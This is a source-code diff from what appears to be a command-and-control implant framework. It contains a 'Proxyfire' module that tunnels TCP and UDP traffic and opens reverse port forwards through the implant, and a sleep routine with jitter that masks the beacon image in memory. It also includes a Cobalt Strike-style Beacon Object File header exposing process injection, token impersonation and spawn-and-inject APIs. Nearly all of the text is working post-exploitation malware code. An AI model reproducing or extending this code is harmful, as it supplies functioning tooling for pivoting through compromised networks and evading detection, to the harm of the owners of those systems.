packer->Pack32(COMMAND_TUNNEL_WRITE_TCP);
packer->PackBytes(data, dataSize);
}
void Proxyfire::AddProxyData(ULONG channelId, ULONG type, SOCKET sock, ULONG waitTime, ULONG mode, ULONG address, WORD port, ULONG state)
{
TunnelData tunnelData = { 0 };
tunnelData.channelID = channelId;
tunnelData.type = type;
tunnelData.sock = sock;
tunnelData.waitTime = waitTime;
tunnelData.mode = mode;
tunnelData.state = state;
tunnelData.i_address = address;
tunnelData.port = port;
tunnelData.startTick = ApiWin->GetTickCount();
tunnelData.writeBuffer = NULL;
tunnelData.writeBufferSize = 0;
tunnelData.paused = FALSE;
tunnelData.server_paused = FALSE;
this->tunnels.push_back(tunnelData);
}
//////////
SOCKET listenSocket(u_short port, int stream)
{
WSAData WSAData;
if (ApiWin->WSAStartup(514u, &WSAData) < 0)
return -1;
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
return -1;
struct sockaddr_in saddr = { 0 };
saddr.sin_family = AF_INET;
saddr.sin_port = _htons(port);
u_long argp = 1;
int result = ApiWin->ioctlsocket(sock, FIONBIO, &argp);
if (result != -1) {
result = ApiWin->bind(sock, (struct sockaddr*)&saddr, sizeof(sockaddr));
if (result != -1) {
result = ApiWin->listen(sock, stream);
if (result != -1) {
return sock;
}
}
}
ApiWin->closesocket(sock);
return -1;
}
void Proxyfire::ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WORD port, Packer* outPacker)
{
WSAData wsaData;
if (ApiWin->WSAStartup(514, &wsaData)) {
ApiWin->WSACleanup();
return;
}
else {
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
if (sock != -1) {
hostent* host = ApiWin->gethostbyname(address);
if (host) {
sockaddr_in socketAddress = { 0 };
memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove
socketAddress.sin_family = AF_INET;
socketAddress.sin_port = _htons(port);
DWORD timeout = 100;
ApiWin->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
ApiWin->setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout));
u_long mode = 1;
ApiWin->ioctlsocket(sock, FIONBIO, &mode);
int result = ApiWin->connect(sock, (sockaddr*)&socketAddress, sizeof(socketAddress));
if (result == 0) {
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
ApiWin->WSACleanup();
return;
}
int connectError = ApiWin->WSAGetLastError();
if (connectError != WSAEWOULDBLOCK) {
ApiWin->closesocket(sock);
ApiWin->WSACleanup();
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, connectError);
return;
}
fd_set writefds;
FD_ZERO(&writefds);
FD_SET(sock, &writefds);
timeval tv = { 0, 100000 };
int selectResult = ApiWin->select(0, NULL, &writefds, NULL, &tv);
if (selectResult > 0 && ApiWin->__WSAFDIsSet((SOCKET)(sock), (fd_set FAR*)(&writefds))) {
int sockError = 0;
int len = sizeof(sockError);
ApiWin->getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&sockError, &len);
if (sockError == 0) {
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
return;
}
else {
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, sockError);
}
}
else {
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, WSAETIMEDOUT);
}
}
}
ULONG error = ApiWin->WSAGetLastError();
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, error);
}
}
void Proxyfire::ConnectMessageUDP(ULONG channelId, CHAR* address, WORD port, Packer* outPacker)
{
WSAData wsaData;
if (ApiWin->WSAStartup(514, &wsaData)) {
ApiWin->WSACleanup();
return;
}
else {
SOCKET sock = ApiWin->socket(AF_INET, SOCK_DGRAM, 0);
if (sock != -1) {
hostent* host = ApiWin->gethostbyname(address);
if (host) {
ULONG addr = 0;
memcpy(&addr, *(const void**)host->h_addr_list, 4); //memmove
sockaddr_in socketAddress = { 0 };
socketAddress.sin_family = AF_INET;
if (ApiWin->bind(sock, (sockaddr*)&socketAddress, sizeof(socketAddress)) == 0) {
u_long mode = 1;
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) != -1) {
this->AddProxyData(channelId, 2, sock, 30000, TUNNEL_MODE_SEND_UDP, addr, port, TUNNEL_STATE_CONNECT);
return;
}
}
}
}
ULONG error = ApiWin->WSAGetLastError();
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, 2, error);
}
}
void Proxyfire::ConnectWriteTCP(ULONG channelId, CHAR* data, ULONG dataSize, Packer* outPacker)
{
if (data == NULL || dataSize == 0)
return;
TunnelData* tunnelData;
for (int i = 0; i < tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->channelID != channelId || tunnelData->state != TUNNEL_STATE_READY)
continue;
if (tunnelData->writeBuffer != NULL && tunnelData->writeBufferSize > 0) {
if (tunnelData->writeBufferSize + dataSize > TUNNEL_BUFFER_HARD_CAP) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
MemFreeLocal((LPVOID*) & tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
CHAR* newBuf = (CHAR*)MemReallocLocal(tunnelData->writeBuffer, tunnelData->writeBufferSize + dataSize);
if (newBuf == NULL) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
tunnelData->writeBuffer = newBuf;
memcpy(tunnelData->writeBuffer + tunnelData->writeBufferSize, data, dataSize);
tunnelData->writeBufferSize += dataSize;
if (outPacker && tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK && !tunnelData->paused) {
tunnelData->paused = TRUE;
PackProxyControl(outPacker, channelId, COMMAND_TUNNEL_PAUSE);
}
return;
}
int sent = ApiWin->send(tunnelData->sock, data, (int)dataSize, 0);
if (sent == -1) {
int err = ApiWin->WSAGetLastError();
if (err == WSAEWOULDBLOCK) {
sent = 0;
}
else {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, err);
return;
}
}
if (sent < (int)dataSize) {
ULONG remain = dataSize - (ULONG)sent;
if (remain > TUNNEL_BUFFER_HARD_CAP) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
tunnelData->writeBuffer = (CHAR*)MemAllocLocal(remain);
if (tunnelData->writeBuffer == NULL) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
memcpy(tunnelData->writeBuffer, data + sent, remain);
tunnelData->writeBufferSize = remain;
if (outPacker && tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK && !tunnelData->paused) {
tunnelData->paused = TRUE;
PackProxyControl(outPacker, channelId, COMMAND_TUNNEL_PAUSE);
}
}
return;
}
tunnelData = NULL;
}
void Proxyfire::ConnectWriteUDP(ULONG channelId, CHAR* data, ULONG dataSize)
{
TunnelData* tunnelData;
for (int i = 0; i < tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if ( tunnelData->channelID == channelId && tunnelData->state == TUNNEL_STATE_READY ) {
DWORD finishTick = ApiWin->GetTickCount() + 30000;
timeval timeout = { 0, 100 };
fd_set exceptfds;
fd_set writefds;
while (ApiWin->GetTickCount() < finishTick) {
writefds.fd_array[0] = tunnelData->sock;
writefds.fd_count = 1;
exceptfds.fd_array[0] = writefds.fd_array[0];
exceptfds.fd_count = 1;
ApiWin->select(0, 0, &writefds, &exceptfds, &timeout);
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds))
break;
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
sockaddr_in addr_to;
addr_to.sin_family = AF_INET;
addr_to.sin_port = _htons(tunnelData->port);
addr_to.sin_addr.S_un.S_addr = tunnelData->i_address;
ApiWin->sendto(tunnelData->sock, data, dataSize, 0, (const struct sockaddr*)&addr_to, 16);
}
}
break;
}
}
tunnelData = NULL;
}
void Proxyfire::ConnectPause(ULONG channelId)
{
for (int i = 0; i < tunnels.size(); i++) {
TunnelData* t = &(tunnels[i]);
if (t->channelID == channelId) {
t->server_paused = TRUE;
return;
}
}
}
void Proxyfire::ConnectResume(ULONG channelId)
{
for (int i = 0; i < tunnels.size(); i++) {
TunnelData* t = &(tunnels[i]);
if (t->channelID == channelId) {
t->server_paused = FALSE;
return;
}
}
}
void Proxyfire::ConnectClose(ULONG channelId)
{
TunnelData* tunnelData;
for (int i = 0; i < tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->channelID == channelId && tunnelData->state != TUNNEL_STATE_CLOSE) {
tunnelData->state = TUNNEL_STATE_CLOSE;
break;
}
}
tunnelData = NULL;
}
void Proxyfire::ConnectMessageReverse(ULONG tunnelId, WORD port, Packer* outPacker)
{
for (int i = 0; i < tunnels.size(); i++) {
TunnelData tunnelData = this->tunnels[i];
if (tunnelData.mode == TUNNEL_MODE_REVERSE_TCP && tunnelData.port == port && tunnelData.state != TUNNEL_STATE_CLOSE) {
PackProxyStatus(outPacker, tunnelId, COMMAND_TUNNEL_REVERSE, tunnelData.type, TUNNEL_CREATE_ERROR);
return;
}
}
SOCKET sock = listenSocket(port, 10);
if (sock == -1) {
PackProxyStatus(outPacker,tunnelId, COMMAND_TUNNEL_REVERSE, 5, TUNNEL_CREATE_ERROR);
return;
}
this->AddProxyData(tunnelId, 5, sock, 0, TUNNEL_MODE_REVERSE_TCP, 0, port, TUNNEL_STATE_CONNECT);
PackProxyStatus(outPacker, tunnelId, COMMAND_TUNNEL_REVERSE, 5, TUNNEL_STATE_CONNECT);
}
///////////////////
void Proxyfire::CheckProxy(Packer* packer)
{
TunnelData* tunnelData;
timeval timeout = { 0, 100 };
for (int i = 0; i < this->tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->state == TUNNEL_STATE_CONNECT) {
ULONG channelId = tunnelData->channelID;
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = tunnelData->sock;
fd_set exceptfds;
exceptfds.fd_count = 1;
exceptfds.fd_array[0] = tunnelData->sock;
fd_set writefds;
writefds.fd_count = 1;
writefds.fd_array[0] = tunnelData->sock;
ApiWin->select(0, &readfds, &writefds, &exceptfds, &timeout);
if ( tunnelData->mode == TUNNEL_MODE_REVERSE_TCP ) {
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &readfds)) {
SOCKET sock = ApiWin->accept(tunnelData->sock, 0, 0);
u_long mode = 1;
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) == -1) {
ApiWin->closesocket(sock);
continue;
}
ULONG cid = GenerateRandom32();
packer->Pack32(tunnelData->channelID); // tunnel ID
packer->Pack32(COMMAND_TUNNEL_ACCEPT);
packer->Pack32(cid);
this->AddProxyData(cid, 5, sock, 180000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_READY);
}
}
else {
if (tunnelData->mode == TUNNEL_MODE_SEND_UDP) {
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds)) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
continue;
}
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
tunnelData->state = TUNNEL_STATE_READY;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
continue;
}
}
else {
if (tunnelData->mode == TUNNEL_MODE_SEND_TCP) {
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds)) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
continue;
}
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
tunnelData->state = TUNNEL_STATE_READY;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
continue;
}
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &readfds)) {
SOCKET listenSock = tunnelData->sock;
SOCKET tmp_sock_2 = ApiWin->accept(listenSock, 0, 0);
if (tmp_sock_2 == -1) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
else {
tunnelData->sock = tmp_sock_2;
tunnelData->state = TUNNEL_STATE_READY;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
}
ApiWin->closesocket(listenSock);
continue;
}
}
}
if (ApiWin->GetTickCount() - tunnelData->startTick > tunnelData->waitTime) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
}
}
}
tunnelData = NULL;
}
ULONG Proxyfire::RecvProxy(Packer* packer)
{
ULONG count = 0;
LPVOID buffer = MemAllocLocal(0x10000);
TunnelData* tunnelData;
for (int i = 0; i < this->tunnels.size(); i++) {
if (packer->datasize() > 0x400000)
break;
tunnelData = &(this->tunnels[i]);
if (tunnelData->state == TUNNEL_STATE_READY) {
if (tunnelData->server_paused)
continue;
if (tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK)
continue;
if (tunnelData->mode == TUNNEL_MODE_SEND_UDP) {
LPVOID buffer = MemAllocLocal(0xFFFFC);
struct sockaddr_in clientAddr = { 0 };
int clientAddrLen = sizeof(sockaddr_in);
int readed = ApiWin->recvfrom(tunnelData->sock, (CHAR*) buffer, 0xFFFFC, 0, (struct sockaddr*)&clientAddr, &clientAddrLen);
if (readed == -1) {
if (ApiWin->WSAGetLastError() != WSAEWOULDBLOCK) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
}
else if (readed) {
PackProxyData(packer, tunnelData->channelID, (PBYTE)buffer, readed);
++count;
}
MemFreeLocal(&buffer, 0xFFFFC);
}
else {
int max_reads = 16;
while (max_reads-- > 0) {
int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, 0x10000, 0);
if (readed > 0) {
PackProxyData(packer, tunnelData->channelID, (PBYTE)buffer, readed);
++count;
}
else if (readed == 0) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
break;
}
else if (readed == -1) {
int err = ApiWin->WSAGetLastError();
if (err != WSAEWOULDBLOCK) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
break;
}
else {
char peekBuf[1];
int peekResult = ApiWin->recv(tunnelData->sock, peekBuf, 1, MSG_PEEK);
if (peekResult == 0) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
}
}
}
}
}
MemFreeLocal(&buffer, 0x10000);
tunnelData = NULL;
return count;
}
void Proxyfire::FlushProxy(Packer* packer)
{
TunnelData* tunnelData;
timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
for (int i = 0; i < this->tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->state != TUNNEL_STATE_READY)
continue;
if (tunnelData->writeBuffer == NULL || tunnelData->writeBufferSize == 0)
continue;
fd_set writefds;
FD_ZERO(&writefds);
FD_SET(tunnelData->sock, &writefds);
int sel = ApiWin->select(0, NULL, &writefds, NULL, &timeout);
if (sel <= 0 || !ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds))
continue;
int sent = ApiWin->send(tunnelData->sock, tunnelData->writeBuffer, (int)tunnelData->writeBufferSize, 0);
if (sent > 0) {
if ((ULONG)sent >= tunnelData->writeBufferSize) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
if (packer && tunnelData->paused) {
tunnelData->paused = FALSE;
PackProxyControl(packer, tunnelData->channelID, COMMAND_TUNNEL_RESUME);
}
}
else {
ULONG remain = tunnelData->writeBufferSize - (ULONG)sent;
CHAR* newBuf = (CHAR*)MemAllocLocal(remain);
if (newBuf == NULL) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (packer)
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
continue;
}
memcpy(newBuf, tunnelData->writeBuffer + sent, remain);
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = newBuf;
tunnelData->writeBufferSize = remain;
if (packer && tunnelData->paused && tunnelData->writeBufferSize < TUNNEL_BUFFER_LOW_WATERMARK) {
tunnelData->paused = FALSE;
PackProxyControl(packer, tunnelData->channelID, COMMAND_TUNNEL_RESUME);
}
}
}
else if (sent == -1) {
int err = ApiWin->WSAGetLastError();
if (err != WSAEWOULDBLOCK) {
if (tunnelData->writeBuffer) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
}
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (packer)
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_CLOSE, 0, err);
}
}
}
tunnelData = NULL;
}
void Proxyfire::CloseProxy()
{
TunnelData* tunnelData;
for (int i = 0; i < this->tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->state == TUNNEL_STATE_CLOSE) {
if (tunnelData->closeTimer == 0) {
tunnelData->closeTimer = ApiWin->GetTickCount();
continue;
}
if (tunnelData->closeTimer + 1000 < ApiWin->GetTickCount()) {
if (tunnelData->mode == TUNNEL_MODE_SEND_TCP || tunnelData->mode == TUNNEL_MODE_SEND_UDP)
ApiWin->shutdown(tunnelData->sock, 2);
if (ApiWin->closesocket(tunnelData->sock) && tunnelData->mode == TUNNEL_MODE_REVERSE_TCP)
continue;
if (tunnelData->writeBuffer) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
}
this->tunnels.remove(i);
--i;
}
}
}
tunnelData = NULL;
}
void Proxyfire::ProcessTunnels(Packer* packer)
{
if (!this->tunnels.size())
return;
this->CheckProxy(packer);
this->FlushProxy(packer);
ULONG finishTick = ApiWin->GetTickCount() + 2500;
while ( this->RecvProxy(packer) && ApiWin->GetTickCount() < finishTick );
this->CloseProxy();
}
+75
View File
@@ -0,0 +1,75 @@
#pragma once
#include "std.cpp"
#include "Packer.h"
#define COMMAND_TUNNEL_START_TCP 62
#define COMMAND_TUNNEL_START_UDP 63
#define COMMAND_TUNNEL_WRITE_TCP 64
#define COMMAND_TUNNEL_WRITE_UDP 65
#define COMMAND_TUNNEL_CLOSE 66
#define COMMAND_TUNNEL_REVERSE 67
#define COMMAND_TUNNEL_ACCEPT 68
#define COMMAND_TUNNEL_PAUSE 69
#define COMMAND_TUNNEL_RESUME 70
#define TUNNEL_CREATE_SUCCESS 0
#define TUNNEL_CREATE_ERROR 1
#define TUNNEL_STATE_CLOSE 0
#define TUNNEL_STATE_READY 1
#define TUNNEL_STATE_CONNECT 2
#define TUNNEL_MODE_SEND_TCP 0
#define TUNNEL_MODE_SEND_UDP 1
#define TUNNEL_MODE_REVERSE_TCP 2
#define TUNNEL_BUFFER_HIGH_WATERMARK 0x400000 // 4MB: stop reading
#define TUNNEL_BUFFER_LOW_WATERMARK 0x100000 // 1MB: resume reading
#define TUNNEL_BUFFER_HARD_CAP 0x1000000 // 16MB: close channel
struct TunnelData {
ULONG channelID;
ULONG type;
SOCKET sock;
BYTE state;
BYTE mode;
ULONG i_address;
WORD port;
ULONG waitTime;
ULONG startTick;
ULONG closeTimer;
CHAR* writeBuffer;
ULONG writeBufferSize;
BOOL paused;
BOOL server_paused;
};
class Proxyfire
{
public:
Vector<TunnelData> tunnels;
void ProcessTunnels(Packer* packer);
void CheckProxy(Packer* packer);
ULONG RecvProxy(Packer* packer);
void FlushProxy(Packer* packer);
void CloseProxy();
void ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WORD port, Packer* outPacker);
void ConnectMessageUDP(ULONG channelId, CHAR* address, WORD port, Packer* outPacker);
void ConnectWriteTCP(ULONG channelId, CHAR* data, ULONG dataSize, Packer* outPacker);
void ConnectWriteUDP(ULONG channelId, CHAR* data, ULONG dataSize);
void ConnectClose(ULONG channelId);
void ConnectMessageReverse(ULONG tunnelId, WORD port, Packer* outPacker);
void ConnectPause(ULONG channelId);
void ConnectResume(ULONG channelId);
void AddProxyData(ULONG channelId, ULONG type, SOCKET sock, ULONG waitTime, ULONG mode, ULONG address, WORD port, ULONG state);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+53
View File
@@ -0,0 +1,53 @@
#include "WaitMask.h"
#include "Boffer.h"
void WaitMaskWithEvent(HANDLE hEvent, ULONG worktime, ULONG sleepTime, ULONG jitter)
{
ULONG maxSleepTime = 0;
if (worktime) {
maxSleepTime = worktime * 1000;
}
else if (sleepTime) {
maxSleepTime = sleepTime * 1000;
if (jitter) {
ULONG deltaTime = 0;
ULONG minTime = sleepTime * jitter / 100;
if (minTime)
deltaTime = GenerateRandom32() % minTime;
if (deltaTime < maxSleepTime)
maxSleepTime -= deltaTime;
}
}
BOOL hasRunningAsyncBofs = FALSE;
if (g_AsyncBofManager)
hasRunningAsyncBofs = g_AsyncBofManager->HasRunningAsyncBofs();
if (hasRunningAsyncBofs) {
// Preserve async BOF responsiveness through the wakeup event, but do
// not mask the beacon image while other beacon threads may be running.
HANDLE waitEvent = hEvent;
if (waitEvent == NULL && g_AsyncBofManager)
waitEvent = g_AsyncBofManager->GetWakeupEvent();
if (waitEvent) {
DWORD waitResult = ApiWin->WaitForSingleObject(waitEvent, maxSleepTime);
if (waitResult == WAIT_OBJECT_0)
ApiWin->ResetEvent(waitEvent);
}
return;
}
// Masking the full beacon image is only safe when no async BOF threads
// are active. In this branch we intentionally do not rely on wakeup
// events, so clear any stale signal before entering the masked sleep path.
if (hEvent)
ApiWin->ResetEvent(hEvent);
ApiWin->Sleep(maxSleepTime);
}
void mySleep(ULONG ms)
{
ApiWin->Sleep(ms);
}
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include "ApiLoader.h"
#include "utils.h"
void WaitMaskWithEvent(HANDLE hEvent, ULONG worktime, ULONG sleepTime, ULONG jitter);
void mySleep(ULONG ms);
+10
View File
@@ -0,0 +1,10 @@
#pragma once
#include "beacon.h"
#define CALLBACK_AX_SCREENSHOT 0x81
#define CALLBACK_AX_DOWNLOAD_MEM 0x82
void AxAddScreenshot(char* note, char* data, int len);
void AxDownloadMemory(char* filename, char* data, int len);
+379
View File
@@ -0,0 +1,379 @@
#pragma once
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
* Updated the BEACON_INFO data structure to add new parameters
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
* 4/25/2024: Added APIs to call Beacon's system call implementation
*/
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
/* data API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
void BeaconDataParse(datap* parser, char* buffer, int size);
char* BeaconDataPtr(datap* parser, int size);
int BeaconDataInt(datap* parser);
short BeaconDataShort(datap* parser);
int BeaconDataLength(datap* parser);
char* BeaconDataExtract(datap* parser, int* size);
/* format API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconFormatAlloc(formatp* format, int maxsz);
void BeaconFormatReset(formatp* format);
void BeaconFormatAppend(formatp* format, const char* text, int len);
void BeaconFormatPrintf(formatp* format, const char* fmt, ...);
char* BeaconFormatToString(formatp* format, int* size);
void BeaconFormatFree(formatp* format);
void BeaconFormatInt(formatp* format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
#define CALLBACK_CUSTOM 0x1000
#define CALLBACK_CUSTOM_LAST 0x13ff
void BeaconOutput(int type, const char* data, int len);
void BeaconPrintf(int type, const char* fmt, ...);
/* Token Functions */
BOOL BeaconUseToken(HANDLE token);
void BeaconRevertToken();
BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length);
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo);
/* Utility Functions */
BOOL toWideChar(char* src, wchar_t* dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char* ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/* Information the user can set in the USER_DATA via a UDRL */
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
/**
* This structure allows the user to provide additional information
* about the allocated heap for cleanup. It is mandatory to provide
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
* whether the clean up code should destroy the heap or simply free the pages.
* This is useful in situations where a loader allocates memory in the
* processes current heap.
*/
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, * PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, * PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
